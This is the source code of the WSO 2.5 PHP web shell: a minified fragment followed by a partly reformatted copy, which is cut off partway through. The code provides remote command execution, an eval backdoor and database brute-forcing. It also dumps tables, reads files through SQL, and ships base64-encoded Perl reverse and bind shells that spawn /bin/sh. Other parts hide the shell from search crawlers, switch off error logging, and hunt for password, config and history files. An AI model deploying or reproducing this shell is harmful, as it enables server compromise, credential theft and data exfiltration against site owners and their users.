cmds[cur]; else cur--; } } function add(cmd) { cmds.pop(); cmds.push(cmd); cmds.push(''); cur = cmds.length-1; } </script>"; echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; foreach($GLOBALS['aliases'] as $n => $v) { if($v == '') { echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; continue; } echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; } echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; if(!empty($_POST['p1'])) { echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); } echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; echo '</form></div><script>d.cf.cmd.focus();</script>'; wsoFooter(); } function actionLogout() { setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); die('bye!'); } function actionSelfRemove() { if($_POST['p1'] == 'yes') if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed'); else echo 'unlink error!'; if($_POST['p1'] != 'yes') wsoHeader(); echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; wsoFooter(); } function actionBruteforce() { wsoHeader(); if( isset($_POST['proto']) ) { echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; if( $_POST['proto'] == 'ftp' ) { function wsoBruteForce($ip,$port,$login,$pass) { $fp = @ftp_connect($ip, $port?$port:21); if(!$fp) return false; $res = @ftp_login($fp, $login, $pass); @ftp_close($fp); return $res; } } elseif( $_POST['proto'] == 'mysql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); @mysql_close($res); return $res; } } elseif( $_POST['proto'] == 'pgsql' ) { function wsoBruteForce($ip,$port,$login,$pass) { $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; $res = @pg_connect($str); @pg_close($res); return $res; } } $success = 0; $attempts = 0; $server = explode(":", $_POST['server']); if($_POST['type'] == 1) { $temp = @file('/etc/passwd'); if( is_array($temp) ) foreach($temp as $line) { $line = explode(":", $line); ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { $success++; echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; } if(@$_POST['reverse']) { $tmp = ""; for($i=strlen($line[0])-1; $i>=0; --$i) $tmp .= $line[0][$i]; ++$attempts; if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { $success++; echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); } } } } elseif($_POST['type'] == 2) { $temp = @file($_POST['dict']); if( is_array($temp) ) foreach($temp as $line) { $line = trim($line); ++$attempts; if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { $success++; echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; } } } echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; } echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' .'<span>Server:port</span></td>' .'<td><input type=text name=server value="127.0.0.1"></td></tr>' .'<tr><td><span>Brute type</span></td>' .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' .'<td><input type=text name=login value="root"></td></tr>' .'<tr><td><span>Dictionary</span></td>' .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; echo '</div><br>'; wsoFooter(); } function actionSql() { class DbClass { var $type; var $link; var $res; function DbClass($type) { $this->type = $type; } function connect($host, $user, $pass, $dbname){ switch($this->type) { case 'mysql': if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; break; case 'pgsql': $host = explode(':', $host); if(!$host[1]) $host[1]=5432; if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; break; } return false; } function selectdb($db) { switch($this->type) { case 'mysql': if (@mysql_select_db($db))return true; break; } return false; } function query($str) { switch($this->type) { case 'mysql': return $this->res = @mysql_query($str); break; case 'pgsql': return $this->res = @pg_query($this->link,$str); break; } return false; } function fetch() { $res = func_num_args()?func_get_arg(0):$this->res; switch($this->type) { case 'mysql': return @mysql_fetch_assoc($res); break; case 'pgsql': return @pg_fetch_assoc($res); break; } return false; } function listDbs() { switch($this->type) { case 'mysql': return $this->query("SHOW databases"); break; case 'pgsql': return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); break; } return false; } function listTables() { switch($this->type) { case 'mysql': return $this->res = $this->query('SHOW TABLES'); break; case 'pgsql': return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); break; } return false; } function error() { switch($this->type) { case 'mysql': return @mysql_error(); break; case 'pgsql': return @pg_last_error(); break; } return false; } function setCharset($str) { switch($this->type) { case 'mysql': if(function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link); else $this->query('SET CHARSET '.$str); break; case 'pgsql': return @pg_set_client_encoding($this->link, $str); break; } return false; } function loadFile($str) { switch($this->type) { case 'mysql': return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); break; case 'pgsql': $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); $r=array(); while($i=$this->fetch()) $r[] = $i['file']; $this->query('drop table wso2'); return array('file'=>implode("\n",$r)); break; } return false; } function dump($table, $fp = false) { switch($this->type) { case 'mysql': $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); $create = mysql_fetch_array($res); $sql = $create[1].";\n"; if($fp) fwrite($fp, $sql); else echo($sql); $this->query('SELECT * FROM `'.$table.'`'); $i = 0; $head = true; while($item = $this->fetch()) { $sql = ''; if($i % 1000 == 0) { $head = true; $sql = ";\n\n"; } $columns = array(); foreach($item as $k=>$v) { if($v === null) $item[$k] = "NULL"; elseif(is_int($v)) $item[$k] = $v; else $item[$k] = "'".@mysql_real_escape_string($v)."'"; $columns[] = "`".$k."`"; } if($head) { $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; $head = false; } else $sql .= "\n\t,(".implode(", ", $item).')'; if($fp) fwrite($fp, $sql); else echo($sql); $i++; } if(!$head) if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); break; case 'pgsql': $this->query('SELECT * FROM '.$table); while($item = $this->fetch()) { $columns = array(); foreach($item as $k=>$v) { $item[$k] = "'".addslashes($v)."'"; $columns[] = $k; } $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; if($fp) fwrite($fp, $sql); else echo($sql); } break; } return false; } }; $db = new DbClass($_POST['type']); if(@$_POST['p2']=='download') { $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); $db->selectdb($_POST['sql_base']); switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } if(empty($_POST['file'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=dump.sql"); header("Content-Type: text/plain"); foreach($_POST['tbl'] as $v) $db->dump($v); exit; } elseif($fp = @fopen($_POST['file'], 'w')) { foreach($_POST['tbl'] as $v) $db->dump($v, $fp); fclose($fp); unset($_POST['p2']); } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); } wsoHeader(); echo " <h1>Sql browser</h1><div class=content> <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> <td><select name='type'><option value='mysql' "; if(@$_POST['type']=='mysql')echo 'selected'; echo ">MySql</option><option value='pgsql' "; if(@$_POST['type']=='pgsql')echo 'selected'; echo ">PostgreSql</option></select></td> <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; $tmp = "<input type=text name=sql_base value=''>"; if(isset($_POST['sql_host'])){ if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { switch($_POST['charset']) { case "Windows-1251": $db->setCharset('cp1251'); break; case "UTF-8": $db->setCharset('utf8'); break; case "KOI8-R": $db->setCharset('koi8r'); break; case "KOI8-U": $db->setCharset('koi8u'); break; case "cp866": $db->setCharset('cp866'); break; } $db->listDbs(); echo "<select name=sql_base><option value=''></option>"; while($item = $db->fetch()) { list($key, $value) = each($item); echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; } echo '</select>'; } else echo $tmp; }else echo $tmp; echo "</td> <td><input type=submit value='>>' onclick='fs(d.sf);'></td> <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> </tr> </table> <script> s_db='".@addslashes($_POST['sql_base'])."'; function fs(f) { if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; if(f.p1) f.p1.value=''; if(f.p2) f.p2.value=''; if(f.p3) f.p3.value=''; } } function st(t,l) { d.sf.p1.value = 'select'; d.sf.p2.value = t; if(l && d.sf.p3) d.sf.p3.value = l; d.sf.submit(); } function is() { for(i=0;i<d.sf.elements['tbl[]'].length;++i) d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; } </script>"; if(isset($db) && $db->link){ echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; if(!empty($_POST['sql_base'])){ $db->selectdb($_POST['sql_base']); echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; $tbls_res = $db->listTables(); while($item = $db->fetch($tbls_res)) { list($key, $value) = each($item); if(!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); $value = htmlspecialchars($value); echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>"; } echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; if(@$_POST['p1'] == 'select') { $_POST['p1'] = 'query'; $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); $num = $db->fetch(); $pages = ceil($num['n'] / 30); echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; echo " of $pages"; if($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>"; if($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>"; $_POST['p3']--; if($_POST['type']=='pgsql') $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); else $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; echo "<br><br>"; } if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { $db->query(@$_POST['p2']); if($db->res !== false) { $title = false; echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; $line = 1; while($item = $db->fetch()) { if(!$title) { echo '<tr>'; foreach($item as $key => $value) echo '<th>'.$key.'</th>'; reset($item); $title=true; echo '</tr><tr>'; $line = 2; } echo '<tr class="l'.$line.'">'; $line = $line==1?2:1; foreach($item as $key => $value) { if($value == null) echo '<td><i>null</i></td>'; else echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; } echo '</tr>'; } echo '</table>'; } else { echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; } } echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']); echo "</textarea><br/><input type=submit value='Execute'>"; echo "</td></tr>"; } echo "</table></form><br/>"; if($_POST['type']=='mysql') { $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); if($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; } if(@$_POST['p1'] == 'loadfile') { $file = $db->loadFile($_POST['p2']); echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; } } else { echo htmlspecialchars($db->error()); } echo '</div>'; wsoFooter(); } function actionNetwork() { wsoHeader(); $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; echo "<h1>Network tools</h1><div class=content> <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> <span>Bind port to /bin/sh [perl]</span><br/> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> </form> <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> <span>Back-connect [perl]</span><br/> Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> </form><br>"; if(isset($_POST['p1'])) { function cf($f,$t) { $w = @fopen($f,"w") or @function_exists('file_put_contents'); if($w){ @fwrite($w,@base64_decode($t)); @fclose($w); } } if($_POST['p1'] == 'bpp') { cf("/tmp/bp.pl",$bind_port_p); $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; unlink("/tmp/bp.pl"); } if($_POST['p1'] == 'bcp') { cf("/tmp/bc.pl",$back_connect_p); $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); sleep(1); echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; unlink("/tmp/bc.pl"); } } echo '</div>'; wsoFooter(); } function actionRC() { if(!@$_POST['p1']) { $a = array( "uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode') ); echo serialize($a); } else { eval($_POST['p1']); } } if( empty($_POST['a']) ) if(isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action; else $_POST['a'] = 'SecInfo'; if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) call_user_func('action' . $_POST['a']); exit;
99
100
101// formatted code (so far) 
102
103<?php
104$auth_pass = "68c5013474b5765a2cdf4c2dc45e73db";
105$color = "#df5";
106$default_action = 'FilesMan';
107$default_use_ajax = true;
108$default_charset = 'Windows-1251';
109 
110if (!empty($_SERVER['HTTP_USER_AGENT']))
111    {
112    $userAgents = array(
113        "Google",
114        "Slurp",
115        "MSNBot",
116        "ia_archiver",
117        "Yandex",
118        "Rambler"
119    );
120    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
121        {
122        header('HTTP/1.0 404 Not Found');
123        exit;
124        }
125    }
126 
127@ini_set('error_log', NULL);
128@ini_set('log_errors', 0);
129@ini_set('max_execution_time', 0);
130@set_time_limit(0);
131@set_magic_quotes_runtime(0);
132@define('WSO_VERSION', '2.5');
133 
134if (get_magic_quotes_gpc())
135    {
136    function WSOstripslashes($array)
137        {
138        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
139        }
140 
141    $_POST = WSOstripslashes($_POST);
142    $_COOKIE = WSOstripslashes($_COOKIE);
143    }
144 
145function wsoLogin()
146    {
147    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
148    }
149 
150function WSOsetcookie($k, $v)
151    {
152    $_COOKIE[$k] = $v;
153    setcookie($k, $v);
154    }
155 
156if (!empty($auth_pass))
157    {
158    if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']) , $auth_pass);
159    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
160    }
161 
162if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
163  else $os = 'nix';
164$safe_mode = @ini_get('safe_mode');
165 
166if (!$safe_mode) error_reporting(0);
167$disable_functions = @ini_get('disable_functions');
168$home_cwd = @getcwd();
169 
170if (isset($_POST['c'])) @chdir($_POST['c']);
171$cwd = @getcwd();
172 
173if ($os == 'win')
174    {
175    $home_cwd = str_replace("\\", "/", $home_cwd);
176    $cwd = str_replace("\\", "/", $cwd);
177    }
178 
179if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
180 
181if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
182 
183if ($os == 'win') $aliases = array(
184    "List Directory" => "dir",
185    "Find index.php in current dir" => "dir /s /w /b index.php",
186    "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
187    "Show active connections" => "netstat -an",
188    "Show running services" => "net start",
189    "User accounts" => "net user",
190    "Show computers" => "net view",
191    "ARP Table" => "arp -a",
192    "IP Configuration" => "ipconfig /all"
193);
194  else $aliases = array(
195    "List dir" => "ls -lha",
196    "list file attributes on a Linux second extended file system" => "lsattr -va",
197    "show opened ports" => "netstat -an | grep -i listen",
198    "process status" => "ps aux",
199    "Find" => "",
200    "find all suid files" => "find / -type f -perm -04000 -ls",
201    "find suid files in current dir" => "find . -type f -perm -04000 -ls",
202    "find all sgid files" => "find / -type f -perm -02000 -ls",
203    "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
204    "find config.inc.php files" => "find / -type f -name config.inc.php",
205    "find config* files" => "find / -type f -name \"config*\"",
206    "find config* files in current dir" => "find . -type f -name \"config*\"",
207    "find all writable folders and files" => "find / -perm -2 -ls",
208    "find all writable folders and files in current dir" => "find . -perm -2 -ls",
209    "find all service.pwd files" => "find / -type f -name service.pwd",
210    "find service.pwd files in current dir" => "find . -type f -name service.pwd",
211    "find all .htpasswd files" => "find / -type f -name .htpasswd",
212    "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
213    "find all .bash_history files" => "find / -type f -name .bash_history",
214    "find .bash_history files in current dir" => "find . -type f -name .bash_history",
215    "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
216    "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
217    "Locate" => "",
218    "locate httpd.conf files" => "locate httpd.conf",
219    "locate vhosts.conf files" => "locate vhosts.conf",
220    "locate proftpd.conf files" => "locate proftpd.conf",
221    "locate psybnc.conf files" => "locate psybnc.conf",
222    "locate my.conf files" => "locate my.conf",
223    "locate admin.php files" => "locate admin.php",
224    "locate cfg.php files" => "locate cfg.php",
225    "locate conf.php files" => "locate conf.php",
226    "locate config.dat files" => "locate config.dat",
227    "locate config.php files" => "locate config.php",
228    "locate config.inc files" => "locate config.inc",
229    "locate config.inc.php" => "locate config.inc.php",
230    "locate config.default.php files" => "locate config.default.php",
231    "locate config* files " => "locate config",
232    "locate .conf files" => "locate '.conf'",
233    "locate .pwd files" => "locate '.pwd'",
234    "locate .sql files" => "locate '.sql'",
235    "locate .htpasswd files" => "locate '.htpasswd'",
236    "locate .bash_history files" => "locate '.bash_history'",
237    "locate .mysql_history files" => "locate '.mysql_history'",
238    "locate .fetchmailrc files" => "locate '.fetchmailrc'",
239    "locate backup files" => "locate backup",
240    "locate dump files" => "locate dump",
241    "locate priv files" => "locate priv"
242);
243 
244function wsoHeader()
245    {
246    if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
247    global $color;
248    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> <style> body{background-color:#444;color:#e1e1e1;} body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } table.info{ color:#fff;background-color:#222; } span,h1,a{ color: $color !important; } span{ font-weight: bolder; } h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } div.content{ padding: 5px;margin-left:5px;background-color:#333; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:100%;height:300px; } input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } form{ margin:0px; } #toolsTbl{ text-align:center; } .toolsInp{ width: 300px } .main th{text-align:left;background-color:#5e5e5e;} .main tr:hover{background-color:#5e5e5e} .l1{background-color:#444} .l2{background-color:#333} pre{font-family:Courier,Monospace;} </style> <script> var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; var a_ = '" . htmlspecialchars(@$_POST['a']) . "' var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i<d.mf.elements.length;i++) params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); } function sr(url, params) { if (window.XMLHttpRequest) req = new XMLHttpRequest(); else if (window.ActiveXObject) req = new ActiveXObject('Microsoft.XMLHTTP'); if (req) { req.onreadystatechange = processReqChange; req.open('POST', url, true); req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); req.send(params); } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert('Request error!'); } </script> <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> <form method=post name=mf style='display:none;'> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form>";
249    $freeSpace = @diskfreespace($GLOBALS['cwd']);
250    $totalSpace = @disk_total_space($GLOBALS['cwd']);
251    $totalSpace = $totalSpace ? $totalSpace : 1;
252    $release = @php_uname('r');
253    $kernel = @php_uname('s');
254    $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
255    if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
256      else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
257    if (!function_exists('posix_getegid'))
258        {
259        $user = @get_current_user();
260        $uid = @getmyuid();
261        $gid = @getmygid();
262        $group = "?";
263        }
264      else
265        {
266        $uid = @posix_getpwuid(posix_geteuid());
267        $gid = @posix_getgrgid(posix_getegid());
268        $user = $uid['name'];
269        $uid = $uid['uid'];
270        $group = $gid['name'];
271        $gid = $gid['gid'];
272        }
273 
274    $cwd_links = '';
275    $path = explode("/", $GLOBALS['cwd']);
276    $n = count($path);
